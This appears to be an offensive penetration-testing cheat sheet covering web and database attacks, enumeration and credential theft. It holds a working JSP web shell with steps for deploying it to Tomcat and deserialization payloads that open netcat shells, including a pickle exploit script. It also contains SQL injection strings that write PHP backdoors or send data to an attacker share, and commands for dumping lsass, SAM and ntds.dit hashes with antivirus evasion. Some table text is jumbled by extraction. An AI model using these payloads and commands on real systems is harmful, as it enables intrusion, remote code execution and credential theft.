<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"
"; } } catch(IOException e) { e.printStackTrace(); } } %>
<%=output %>
Then put your index.jsp into a webshell folder mkdir webshell 21 cp index.jsp webshell cd webshell $ jar -cvf ../webshell.war * Tomcat 6: If we try to upload through the button on the page we get a 404 error. Remember you have to double encode to get to your directory. Right click the submit button and select Inspect to see/modify the source code of the button and the form action should show you a relative path. In this case change
. Then we run Burp while we submit the war file (which sends back an error because we don’t send any session information). So to bypass this, reload your mamagement page, but before you forward in Burp right click the request, Do Intercept – Response to this request (then forward the packet). In the Response, we can see that the Path is set to /manager/ which is why we are getting an error – we need a sessionID for that path. If we simply change Path=/manager/ to Path=/. Forward the packet, change the path in your submit action again, and you should see a webshell successfully loaded in your list. To access it simply go to site/examples/%252e%252e/webshell/. There we can enter commands to run. JSON Web Tokens Article JWT pattern: Base64(Header).Base64(Data).Base64(Signature) :Header itself is not signed Sigs can be RSA based, ECC, HMAC, None None Algorithm Example Register a login, then login. Do with Fiddler/Burp open In Fiddler look at 200 login page, Cookie Tab auth=… (might be in JSON tab) Decode your auth string here (remember to remove auth=) Change algorithm to None ("alg": "None") :Note for this to work do not copy the signature = anything past the last “.” – leave last “octet” blank In Fiddler click composer tab, drag the packet that you had a successful login Under Cookie or JSON copy your new auth=string, remember do not copy signature section Click the Inspector Tab above, then WebView Websites Using Git Git Information Leak With modern URL mapping (i.e. not relaying on the filesystem) , it's less and less common to see this kind of issues but it's always important to look for them anyway. wget –r http://site/.git/ #first, don’t run from bash from windows – it doesn’t work. Run from kali #while wget is running open a new terminal and run the following: Git diff #this should show some files not downloaded, press enter 22 Serialize Exploits XMLDecoder (Java Class) Deserialization If you can get an application to use an arbitrary data in a call to the method readobject, gain instant code execution. Detection: contained in first line of signature generated by server. Example: To get a shell, the Java code would look like this: Runtime run = Runtime.getRuntime(); String[] commands = new String[] { "/usr/bin/nc", "-l","-p", "9999", "-e", "/bin/sh" }; run.exec(commands ); Our payload in an xml file we submit to the site (using exec) to run looks like: /usr/bin/nc -l -p 9999 -e /bin/sh OR Our payload in an xml file we submit to the site (using ProcessBuilder) to run looks like: /usr/bin/nc -l -p 9999 -e /bin/sh 23 ObjectInputStream, using readObject (Java Applications: Groovy, Jdk7u21, Spring1, etc) Deserialization Applications using the method readObject() on data coming in from user are subject to this. Detection: The cookie we receive when we login starts with rO0 (“ac ed” decoded), which is usually an indication of a base64 encoded, Java deserialized object. The tool ysoserial embeds gadgets that can leverage readObject. Download link here java -jar ysoserial-0.0.4-all.jar Our example is a Spring application, so we just use the Spring1 payload. If we didn't have this information, we would have to try all the payloads and hope that a "vulnerable" library is loaded by the application. Generate our payload using: java -jar ysoserial-0.0.4-all.jar Spring1 "/usr/bin/nc -l -p 9999 -e /bin/sh" | base64 Then copy the base64 output and copy it to the auth= portion of your replay packet. Jenkins (Java Class) Deserialization Jenkins supports serialised objects based on XStream. Previously, it was possible to get code execution using java.beans.EventHandlerbut it's no longer the case. Thankfully, Jenkins embeds few third party libraries that include Gadget that can provide an attacker with remote code execution. The payload illustrated in this exercise relies on Groovy: hashCode open /Applications/Calculator.app start 1 I had to append ?name=newName to the Jenkins URL that made new items & change to HTTP 1.0 & also change application type to application/xml POST /createItem?name=test HTTP/1.0 [...] Pickle (Python Class) Deserialization Python Application Using Pickle Library (turns objects->strings for easy storage in db) After registering a user, we inspect the login page with Burpe or Fiddler. In the Cookies we see a session=… In Burpe we can right click and send to decoder. We take the first part of the session before the “.” and base64 decode it. If we base64 decode in Burpe it stripped out the {} surrounding our variables required for JSON, but online at https://www.base64decode.org/ it decoded properly. Everything after the first “.” Does not 24 decode so it appears to be part of a hash for the base64 decoded variable which we saw was the user name. If we select the remember me function during login, then take that and send to base64 decode we see both the old session id, and a new one that when decoded has a really long line which is a good indication that something has been pickled. In this case the remember me function is more likely to be vulnerable. Below is a python script to pickle a code ourself and try to inject in place of the username variable. Run python pickle.py. Take the output and replace your rememberme session, but don’t forget to also remove the logged in session id otherwise the rememberme will get disregarded. pickle.py (from pentesterlabs) import cPickle import os import base64 class Blah(object): def __reduce__(self): return (os.system,(“netcat –c ‘/bin/bash –i’ –l –p 1234 “,)) print base64.b64encode(cPickle.dumps(Blah())) Ruby on Rails Remote Code Deserialization (CVE-2013-0156, embedding YAML in XML) ) Arbitrary deserialization that can be used to trigger SQL injection and even Code execution Proof of concept exploit Create a new action with arbitrary code in it. use the exploit above as copying and pasting the payload will break the syntax of the YAML. YAML is very sensitive to linebreak and whitespaces. Here we can see that the YAML is used to run some Ruby code. Scan for Ruby on Rails auxiliary/scanner/http/http_version in metasploit :ports 80, 343, 3000, 3001, 4567, 8080, 8443, and 3790 Rails may be only be accessible at a certain path, such as /forum or /redmine Scan msf> msf msf msf msf for vulnerability use auxiliary/scanner/http/rails_xml_yaml_scanner auxiliary(rails_xml_yaml_scanner) > set RHOSTS 192.168.0.0/24 auxiliary(rails_xml_yaml_scanner) > set RPORT 80 auxiliary(rails_xml_yaml_scanner) > set THREADS 128 auxiliary(rails_xml_yaml_scanner) > run Exploit through MetaSploit msf> use exploit/multi/http/rails_xml_yaml_code_exec msf exploit(rails_xml_yaml_code_exec) > set RHOST 192.168.0.4 msf exploit(rails_xml_yaml_code_exec) > set RPORT 80 msf exploit(rails_xml_yaml_code_exec) > exploit id cat /etc/passwd 25 Database Injection Attacks SQL Injection Automated sqlmap –u http://192.168.11.35 –-crawl=1 :enum pages, search vulns sqlmap –u http://192.168.11.35/comment.php?id=738 –-dbms=mysql –-dump –-threads=5 :automate extraction of data Sqlmap –u http://192.168.11.35/comment.php?id=738 –-dbms=mysql –os-shell :attempt to upload cmd shell on target SQL Injection Commands Notes SQL Injection Tests test’ OR 1=1;-test’ OR 1=1-test’ OR 1=1;# test’ OR 1=1 LIMIT 1# \ in username and in password field ’ or 1=1# example1.php?name=root' or '1'='1 .php?name=root' or '1'='1' %23 .php?id=2%20%23 .php?id=3-1 also .php?id=2.0 or .php?id=1%2B1 :try inputting to user field :try inputting to user field :try inputting to user field :developer limited output to 1 result :dev blocks ‘ so use / to escape ‘ :normal page name=root :(%23=#), same as above :(%23=#) :same as last entry (%2B=+) SQL Injection Test with SQL Statement (look to see where echoed in SQL statement) .php?order=name` %23 or name` ASC # or name`, `name :(# change to %23); results wont change but wrong syntax breaks name` DESC # :descending order IF(1, column1,column2) or IF(0, column1,column2):sort compares values as strings not integers if one column contains string Bypass Input Validation Techniques ?name=root'%09or%09'1'='1 :(replace spaces with %09=\t)bypass ERROR NO SPACE ?name=root'/**/or/**/'1'='1 :(/**/ alternate for #,ERROR NO SPACE Alternative to above: sqlmap -u "http://192.168.79.162/sqli/example2.php?name=root" -dump --tamper=space2comment using mysql_real_escape_string can prevent above, .php?id=3-1%09or%091=1 :in this example had to take out ‘ .php?id=3-1%09or%091=1%23123 :example where regex to test if last character is integer .php?id=2%0A or 1=1 (123\nPYLD,PAYLOAD\n123,PAYLOAD\n123\nPAYLOAD):%0A=line feed; for regex using /m (PCRE_MULTILINE) 呵' or 1=1 # :use a GBK character to bypass mysql_real_escape_string() SQL Injection Examples wronguser or 1=1 LIMIT 1;# :basic SQL inj ex exec master..xp_cmdshell ‘ping ’ --:MySQL – run code http://192.168.11.35/comment.php?id=738 union all select 1,2,3,4,””,6 into OUTFILE ‘c:/xampp/htdocs/backdoor.php’ :create malicious PHP file on server and 1=0 union select ‘’ INTO OUTFILE ‘/var/www/html/mycode.php’ :mysql –build malicious PHP file exec master..sp_makewebtask \\ip\share\results.html, "select * from information_schema.tables" :mysql-exfil data to attacker file share MS SQL Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) SELECT SELECT SELECT SELECT SELECT SELECT @@version :version user_name(); :current user system_user; :current user user; :current user loginame FROM master..sysprocesses WHERE spid = @@SPID name FROM master..syslogins :list users 26 SELECT name, password FROM master..sysxlogins — priv, mssql 2000; :list pass hashes SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer :list password hashes SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; :list pass-h SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 :list password hashes MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. SELECT name FROM master..sysdatabases; :list dbs SELECT DB_NAME(N); — for N = 0, 1, 2, … :list dbs SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable :list columns SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views:tables SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; :list tables MS SQL Command Execution EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: EXEC sp_configure ‘show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv MySQL Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) SELECT @@version :version SELECT user_name(); :current user SELECT system_user; :current user SELECT user; :current user SELECT system_user(); :current user SELECT user FROM mysql.user; — priv :list users SELECT host, user, password FROM mysql.user; — priv :list password hashes John the Ripper will crack MySQL password hashes SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0:list dbs SELECT distinct(db) FROM mysql.db — priv :list dbs SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ :list columns SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ :list tables MySQL Command Execution Command Execution: If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. Local File Access: …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system SQL Injection to Shell Example Fingerprinting telnet site 80 :only if HTTP was available GET /HTTP/1.1 Host: site :shows server/PHP version openssl s_client -connect vulnerable:443 :telnet wont work on HTTPS Then use Burp or Fiddler to see Server/PHP version Enumerating using wfuzz python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://site/FUZZ 27 *some systems use python wfuzz.py with wfuzz python wfuzz.py -z file -f commons.txt --hc 404 http://site/FUZZ.php - detect php scripts changing site/cat.php?id=1 to site/cat.php?id=2-1 and working tells us site may be vulnerable to injection test site/cat.php?id=1’ throws an error telling us SQL test site/cat.php?id=1 and 1=1 gives us the regular page, testing for inj methods test site/cat.php?id=1 and 1=0 doesn’t return anything because false, exploitable site/cat.php?id=1 union select 1 – throws error because we have to have the same amount of matching columns so site/cat.php?id=1 union select 1,2 then site/cat.php?id=1 union select 1,2,3 … until finally union select 1,2,3,4 works site/cat.php?id=1 order by 10 - tries to order by column #10. Our example throws error so we try until we get the max value, which tells us the number of columns site/cat.php?id=1 union select 1,@@version,3,4 - gives us version of database site/cat.php?id=1 union select 1,user(),3,4 - gives us the current user site/cat.php?id=1 union select 1,database(),3,4 - gives us the current db site/cat.php?id=1 union select 1,table_name,3,4 from information_schema.tables We notice a users table so we want to get info to be able to query it: site/cat.php?id=1 union select 1,column_name,3,4 from information_schema.columns – we notice login/password columns site/cat.php?id=1 union select 1,login,3,4 from users site/cat.php?id=1 union select 1,password,3,4 from users – looks like a hashed passwd site/cat.php?id=1 union select 1,concat(login,’:’,password),3,4 from users Cracking password Try googling the hash to see if you can find the decrypted password easily OR ./john password --format=raw-md5 --wordlist=dico --rules Getting Command Injection Now that you have admin access log in to the site as admin We create a php file and try to upload it as a picture: But we get an error trying to prevent uploading php files – try changing extension to .php3 or .php4 and we are able to upload. We look at the source code to see where the image was uploaded to, /admin/uploads/ site/admin/uploads/test.php3?cmd=uname -a :runs our command site/admin/uploads/test.php3?cmd=cat /etc/passwd : Oracle Injection Commands (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; :version SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; :version SELECT version FROM v$instance; :version SELECT user FROM dual :current user SELECT username FROM all_users ORDER BY username; :list users SELECT name FROM sys.user$; — priv :list users SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked :list password hashes SELECT name,spare4 FROM sys.user$ — priv, 11g :list password hashes checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. SELECT * FROM session_privs; — current privs :list privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv :list privs SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; :list privs SELECT DISTINCT owner FROM all_tables; — list schemas (one per user):list dbs SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; :list columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; SELECT table_name FROM all_tables; :list tables SELECT owner, table_name FROM all_tables; :list tables Oracle Command Execution Command Execution: Java can be used to execute commands if it’s installed.ExtProc can 28 sometimes be used too, though it normally failed Local File Access: UTL_FILE can sometimes be used. Check that the following is nonnull: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express). MongoDB Injection (typically v2.2.3 and below) user' || 1==1 // user' || 1==1 Robomongo :cmd line tool w/automated steps :command line :GUI Exploit (typically v2.2.3 and below): exploit/linux/misc/mongod_native_helper Password Guessing Example /?search=admin'%20%26%26%20this.password.match(/.*/)%00: we can see a result. /?search=admin'%20%26%26%20this.password.match(/zzzzz/)%00: we cannot see a result. /?search=admin'%20%26%26%20this.passwordzz.match(/.*/)%00: we get an error message (since the field passwordzz does not exist). test if password match /^a.$/ if it matches test without the wildcard `.`(to check if it's the full password). Then move to the next letter if it does not match. test if password match /^b.$/ if it matches test without the wildcard `.`. Then move to the next letter if it does not match /^a.*$/ that will return true. /^a$/ that will return false. /^aa.*$/ that will return true. /^aa$/ that will return false. /^aaa.*$/ that will return false. /^aab.*$/ that will return true. /^aab$/ that will return true. The password has been found. Mysql Passwords (On the box, not SQLi) On a lot of systems you should be able to connect to mysql as root with no password mysql –u root show databases; use [DATABASE]; show tables; select * from [TABLE]; *the show and use cmd wont work with SQL injections, internal commands not part of sql 29 Enumeration Registry Settings for Null Session Enumeration HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous=0 :Win 2000 targets (default 0)allowing you to enumerate null remotely HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymousSAM=0 :Win XP-10 targets (default 1), if 0 allows remote null enumeration NetBIOS Info Scan nbtscan –r :identify NetBIOS info ENUM4LINUX (Null Session Enum) enum4linux –v password policies, etc :enumeration tool in Kali, user names, shares, User Enumeration (Nmap) nmap –n –script=smb-enum-users.nse –p 139 :enumerate users & if passwords needed Establish Null SMB Session From Windows to harvest user names (Using enum by Jordan Ritter) enum enum enum enum –S –U –G –P :list of shares (IPC$,ADMIN$,C$) :list of users :list of groups and member acconts :password policy information Establish Null SMB Session From Windows to harvest user names (Using the net cmd) net use \\ :attempts a null session net view \\ :view accessible shares net use \\\ :shares such as IPC$,ADMIN$,C$ net use \\ /u: :to use a user/password net use \\ /del :delete outbound SMB session *important to delete sessions or you might not be able to establish more later net session :view sessions net session \\ /del :delete inbound SMB sessions local administrators \\ :list admins after creation of null sess global "domain admins" \\ :list domain admins after null session Enumerating/Translating Sids / Users net use \\ /u: :use username/pass if you have user2sid \\10.10.10.10 :record the security id that generates sid2user \\ 500 :500 gives us the admin’s name for /L %i in (1000,1,1010) do @sid2user \\ %i :enumerate users Linux Assorted Enumeration Methods cat /etc/password finger who w finger @ ypcat passwd ldapsearch :locally :locally-currently logged on :locally-currently logged on :locally-see what user is doing :remotely-usually off now :remotely-if Network Info Service server :remotely-if LDAP is in use ESTABLISH NULL SMB SESSION FROM LINUX TO WINDOWS 30 smbclient –L -U -p 445 smbclient // /test –U -p 445 get cmds rpcclient –U Enumdomusers Enumalsgroups | Lsaenumsid Lookupnames name Srvinfo :list shares :connect to share like ftp, ls, dir, cd, :establish session :list users :list groups :show sids on box :show sid associated with user or group :show OS type and version SNMP Enumeration through MetaSploit (helps find user accounts as well) msfconsole use auxiliary/scanner/snmp/snmp_enum info set RHOSTS 192.168.31.200-254 set threads 16 run SNMP Enumeration snmpcheck –t :way easier than 161 or snmpwalk SNMP Enumeration nmap –sU –open –p 161 echo public >> community echo private >> community echo manager >> community for ip in $(seq 200 254);do onesixytone –c community –i snmpwalk –c public –v1 snmpwalk -c public –v1 snmpwalk –c public –v1 snmpwalk –c public –v1 snmpwalk –c public –v1 -oG snmp.txt :SNMP scan :enter var in bash :enter var in bash :enter var in bash echo 192.168.11.$ip;done >ips ips :161 brute forces snmp :Enumerate entire MIB tree 1.3.6.1.4.`.77.1.2.25:Enumerate Windows Users 1.3.6.1.2.1.25.4.2.1.2:Enumerate Windows Processes 1.3.6.1.2.1.6.13.1.3:Enumerate open TCP ports 1.3.6.1.2.1.25.6.3.1.2:Enumerate installed software SMB Session Enumeration through MetaSploit (checks guest sessions for any credentials) msfconsole use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.31.200-254 set threads 16 run SMB User Enumeration through MetaSploit Msfconsole Use auxiliary/scanner/smb/enum_users Set RHOSTS 192.168.31.200-254 Set threads 16 Run Nmap Enumeration Scan Nmap –sT –A –P0 Ls –l /usr/share/nmap/scripts|grep smb :detailed information :search for nmap smb protocol checks Nmap Enumeration Scan Nmap –sT –A –P0 Ls –l /usr/share/nmap/scripts|grep smb :detailed information :search for nmap smb protocol checks SMTP Enumeration Scan (Email) 31 Nc –nv 25 :connect to email server w/netcat VRFY bob :verify user, 250-successful, 550-fail For user in $(cat users.txt); do echo VRFY $user|nc –nv –w 1 25 2>/dev/null |grep ^”250”;done *a bash script to run VRFY against a list of users, log errors to /dev/null, grep successful attempts 32 Password Searching Search for Commands grep –r “password” / :grep is linux, but can install grep for Win find /i “password” :Windows command to look for “password” type *.txt | find /i “string” :Win command to search file types for string type | findstr :Win command for regex query strings -n 7|grep “password” :strings=linux; sysinternals strings=win select-string –path C:\users\*.txt –pattern password:Powershell equivalent to grep Passwords in Group Policy findstr /S cpassword \\domain\sysvol\*.xml ruby gppdecrypt.rb :passwords often set in Group Policy :decrypt password from GP search Key Logger in Meterpreter keyscan_start;keyscan_stop;keyscan_dump : Key Terms to Search For .kdb & .kdbx .pfx & .cert & .pem install AutoSPInstaller firewall password authentication security names finance e-mail ntds.dit :keepass file extension :private keys :admins typically have install scripts w/creds :common sharepoint installer script w/creds : : : : : : : :Windows Active Directory dump Searching in Linux Search for Proxy creds in Ubuntu cat –vet /etc/apt/apt.conf.d/99proxy cat –vet /etc/apt/apt.conf cat –vet /etc/cntlm.conf : "http://username:password@proxyhost:port/"; :for older versions :cntlm proxy for passing Windows cred /etc/passwd & /etc/shadow smcbrien:x:502:502::/home/smcbrien:/bin/bash x means password stored in /etc/shadow – not always the case smcbrien:$6$fP.7DNf/$4PE9jqAbirrW7ERNuHthGLu4nLHDFz25jAGa2pJVTXhSfcfcSU.p3W87BX.nFzWKts jw27ZZAyPGgx8sIyj9m:15579:0:99999:7::: $1$=MD5,$2a$=Blowfish,$2y$=BF better,$5$=SHA256,$6$=SHA512 $fP.7DNf/$ = encryption SALT 4PE9jqAbirrW7ERNuHthGLu4nLHDFz25jAGa2pJVTXhSfcfcSU.p3W87BX.nFzWKtsjw27ZZAyPGgx8sIyj9m:1 5579m1 = encrypted & salted password :15579:= number of days since unix epic (Jan 1,1970) last time this password changed :0: =min # of days before a user can change password :99999: =max # of days a user can keep the same password (password expiration) :7: =user is warned 7 days before expiration of password ::: =1st field is inactive days, 2nd=account expiration,3rd= reserved Basic Searches find / -type f -exec grep -H 'text-to-find-here' {} \; :search for text find /home –name .bash_history :good place to find cmds; . means hidden .sh_history, .zsh_history, .ksh_history :alternative shells to bash *openssl only supports MD5 hashing, try to search for those find /home –name .bashrc :often used to config shell or load info find /home –name .bash_profile :aslo important to look at find /home –name .bash_history –type f –exec grep –H ‘admin’ {} \; 33 ls –ls /tmp (or /var/tmp) :check tmp folder for leftover clues /etc folder – cron jobs, shadow backups, etc /etc/shadow :normally passwds are encrypted, but an admin may try to user useradd –p “pass” and do plain text instead of already encrypting Group Permissions cat /etc/sudoers :users with sudo permissions id | grep ‘wheel’ :RHEL 7 gives sudo to wheel group tail /etc/group :map between names and GIDs UID 0=root (always), 1-200=static system users, 201-999=dynamic sys users, 1000+=users Search for passwords accidentally typed to shell grep –A 1 passwd .bash_history OR find /home –name .bash_history | grep –A 1 passwd find /home -name .bash_history -exec grep -A 1 passwd {} \; :passwds typed in shell find . -name .bash_history -exec grep -A 1 '^passwd' {} \; :passwds typed in shell Searching for backups find . -depth -print | cpio -o > *.cpio cpio –i –vd < archive.cpio :extract the backup cpio –t < archive.cpio :list the files of the cpio archive cat backup | cpio –id /etc/fstab :same as below, extract one file cpio –id /etc/fstab < archive.cpio :extract just fstab file from archive cpio –i –to-stdout /etc/fstab < backup > fstab :try if permissions error above cd /etc/cron.daily :check cronjobs for clue - dcrypt backup tar –tvf file.tar tar -ztvf file.tar.gz tar –zxvf file.tar.gz :view TOC for tar archive (.tar) :view TOC for tar archive (.tar.gz) :extract file from tar archive Red Hat /home/usr/.redhat-support-tool/redhat-support-tool.conf :online login to Redhat spt Tomcat Passwords Usually in directory where tomcat is installed, or directory starting w/tomcat in /etc/ tomcat-users.xml Mysql Passwords On a lot of systems you should be able to connect to mysql as root with no password mysql –u root show databases; use [DATABASE]; show tables; select * from [TABLE]; *the show and use cmd wont work with SQL injections, internal commands not part of sql strings /var/lib/mysql/mysql/user.MYD Then take root* 8246FACFAA5BB9CFDCDEAEDA and line below debian-sys maint, & combine Should look like: root:* 8246FACFAA5BB9CFDCDEAEDA15DA4067EAA55FBC Then use John Jumbo to crack 34 Password Cracking/Guessing Password Lockout Policy net accounts :windows-local passwd policy net accounts /domain :windows-domain passwd policy wmic useraccount list brief :admin accounts have SID of 500 *by default windows admin account cannot be locked out grep tally /etc/pam.d/*;grep tally /etc/pan.conf:search for lockout policy-linux/unix *by default Pluggable Authentication Modules doesn’t lock out root Password Local Locations /etc /password :Linux,contains user,encrypted pass, UID /etc/shadow :contains password and account info john --format=descrypt :many older systems use DES $1$=md5, $2$/$2a$=blowfish, $5%=SHA-256, $6$=SHA=512, md5 use md5crypt C:\\Windows\System32\config :Security Account Mngr file location C:\\Windows\System32\ :lsass.exe location HKLM\Security\Policy\Secrets :use LSASecretsDump hklm\sam :system hive registry hklm\security :security hive registry hklm\system :system hive registry Wordlists locate wordlists :rockyou.txt,sqlmap/txt/wordlist popular /usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwrd :Kali WL /usr/share/wordlists :Kali WL locate password.lst :john’s password list C:\Program File (x86)\Cain :Windows-Cain word list www.skullsecurity.org/blog/?p=549 :Ron Bowes-leaked pass files fonlow.com/zijianjuang/kpa :Windows Dictionary Generator tool cat wordlist.txt|sort|uniq > dictionary.txt :remove duplicate entries from wordlists wc l /tmp/password.lst :count # words in list Create Wordlists by Scraping Websites (Kali) Cewl www.site.com –m 6 –w results.txt :scrape site Cat cewl.txt|wc –l :view results Head cewl.txt John –-wordlist=cewl.txt -–rules –-stdout > mutate.txt:mutate pwds Nano /etc/john/john.conf :edit john config *scrape starting lineup of local sports teams; for IT targeted systems generate wordlists from Star Wars, Lord of the Rings, Dr. Who, etc Create Wordlists with Crunch (Kali) crunch crunch crunch chars, 6 4 8 3 6 01234567890ABCDEF -o crunch1.txt : wordlist containing 0-9 and A-F 4 -f /usr/share/crunch/charset.lst mixalpha 8 -t ,@@^^%%% : 1 uppercase, 2 lower case, 2 special numeric Modify Wordlist to Fit Password Policy cat /tmp/password.lst | pw-inspector –m 6 –n –u –l –c 2 > /tmp/custom_list.lst Rainbow Tables rtgen precomp shg (relies on py-smbpasswd) py-smbpasswd www.freerainbowtables.com Ophcrack (smaller free sets) :http://project-rainbowcrack.com :http://sourceforge.net/projects/ophcrack :www.nosneros.net/hso/code/shg :http://barryp.org/software/py-smbpasswd :pregenerated set :http://lasecwww.epfl.ch/~oechslin/projects/ophcrack Windows Credentials Harvester – Run From USB Snadboy Revelations meterpreter > hashdump :Can run off USB as standalone exe :use hashdump to get SAM & cached creds 35 HKLM\Security\Policy\Secrets (LSA Secrets) Creddump (www.oxid.it/creddump.html) :use LSA SecretsDump to harvest :harvest Microsoft Credential Manager Password Brute Force Over the Network hydra –l -p ssh :use users from enumeration hydra –L -p ssh :use users from enumeration ncrack –vv –user -P rdp://ip :works well RDP medusa –h -u -P -M http –m DIR:/admin –T 10 FTP Brute Force msfconsole –q search auxiliary type: auxiliary login use auxiliary/scanner/ftp/ftp_login show options set PASS_FILE /root/passwords.txt set USERPASS_FILE /root/users.txt set RHOSTS run Enum SMB Password Guessing (Jordan Ritter’s enum) enum –D –u -f :over the network, NTLMv1 only attacker: secpol.msc, Local Policies/Security Options/Network Security: LAN Mgr Auth level/ Set to Send LM & NTLM responses About SAM, LAN Manager, & NTLM Windows stores passwords in SAM. Up to Windows 2003, Windows stores LAN Manager and NTLM. LM Hashing is very weak, passwords longer than 7 chars split into 2 strings and each part is hashed separately. It is also converted to upper case before hashed, and does not use salts making rainbow tables easy. From Vista/Server 2008+, the Windows OS disables LM and uses NTLM. NTLM is still not salted though, and you can use a pass-the-hash with NTLM. SAM cannot be copied while Windows is running. In memory attacks can be mounted though. Note that with admin privs we can dump SAM db but with regular user privs we can dump current user SAM from memory (PtH). The has will look Guest:501:ABC:123::: You want to copy the ABC:123 portion. LM hash is the one before the semicolon and the NT hash is the one after the semicolon. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored. Extract Hashes From SAM Locally (Windows) fgdump.exe :Attempts to kill AV, in memory pwdump.exe :in memory attack samdump2 /mnt/XXX/WINDOWS/system32/config/system /mnt/XXX/WINDOWS/system32/config/sam Ophcrack :to crack or just pass the hash SAM hive: (%SystemRoot%\system32\config) OR Fgdump :successor to pwdump6 Pwdump7 :dump SAM hashes, works across Windows Gsecdump :dump SAM hashes, works across Windows PWDumpX :Does not work on 64 bit reg.exe save hklm\sam C:\temp\sam.save :save system hive registry reg.exe save hklm\security C:\temp\security.save :save security hive registry reg.exe save hklm\system C:\temp\system.save :save system hive registry secretsdump.py –sam sam.save –security security.save –system system.save LOCAL :get hashes of accounts & LSA secrets *Then crack or Pass the Hash Extract Password Hashes from RAM (Windows) PEPacker (i.e. UPX) :Package wce ifto help not get caught by AV wce -o output.txt :Windows Credential Editor and output to file wce64.exe -w :dumps cleartext passwords, can steal NTLM from memory OR procdump.exe –accepteula –ma lasass.exe C:\windows\temp\lsass.dmp 2>&1 :dump lasass.exe process to file GUI Alternative: Task Manager/right click lsass.exe/Create Dump File 36 mimikatz.exe log “sekurlsa:minidump lsass.dmp” skurlsa::logonPasswords exit :dump creds using mimikatz Extract Password Hashes Remotely (Windows) Ettercap fgdump.exe :have to run .exe but disables AV pwdump6 :admin privs; potentially crash lsass – pwdump 2/3 send passwords back over cleartext pwdump7 :dump passwd from local system not memory, runs locally on system,automatically dumps SYSKEY and uses to decrypt SAM meterpreter – compromise then “user priv”, “hashdump” or “run hashdump” mimikatz.exe or mimikatz meterpreter extension :pulls from lsass in memory Sniff challenge/response from network-LANMAN chall/response, NTLMv1/2, Kerberos Extract Password Hashes From Domain Controller On domain controller use VSS to retrieve ntds.dit :safer than extracting from memory OR VSSOwn :create copies even if locked cscript vssown.vbs /status :see if VSS running cscript vssown.vbs /start :start VSS if not running cscript vssown.vbs /create /c :create a snapshot copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit ntdsbackup.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM systembackup.bak copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM sambackup.bak cscript vssown.vbs /stop :if it wasn’t running stop it Then use Csaba Barta’s forensics analysis suite to extract hashes-ntds_dump_hash Hash Identification john 127.0.0.1.pwdump Hash-identifier Crack LM Hashes john --format=lm hash.txt hashcat -m 3000 -a 3 hash.txt Crack NTLM Hashes (aka NTHash) Obtained by dumping SAM database or using Mimikatz You CAN use pass the hash john --format=nt hash.txt hashcat -m 1000 -a 3 hash.txt Crack NTLMv1 Hashes (aka Net-NTLMv1) Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh You CANNOT use pass the hash john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt Crack NTLMv2 Hashes (aka Net-NTLMv2) Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh You CANNOT use pass the hash john --format=netntlmv2 hash.txt hashcat -m 5600 -a 3 hash.txt Hash Cracking (Windows) john –-rules -–wordlist=/usr/share/wordlists/~.txt 127.0.0.1.pwdump hashcat 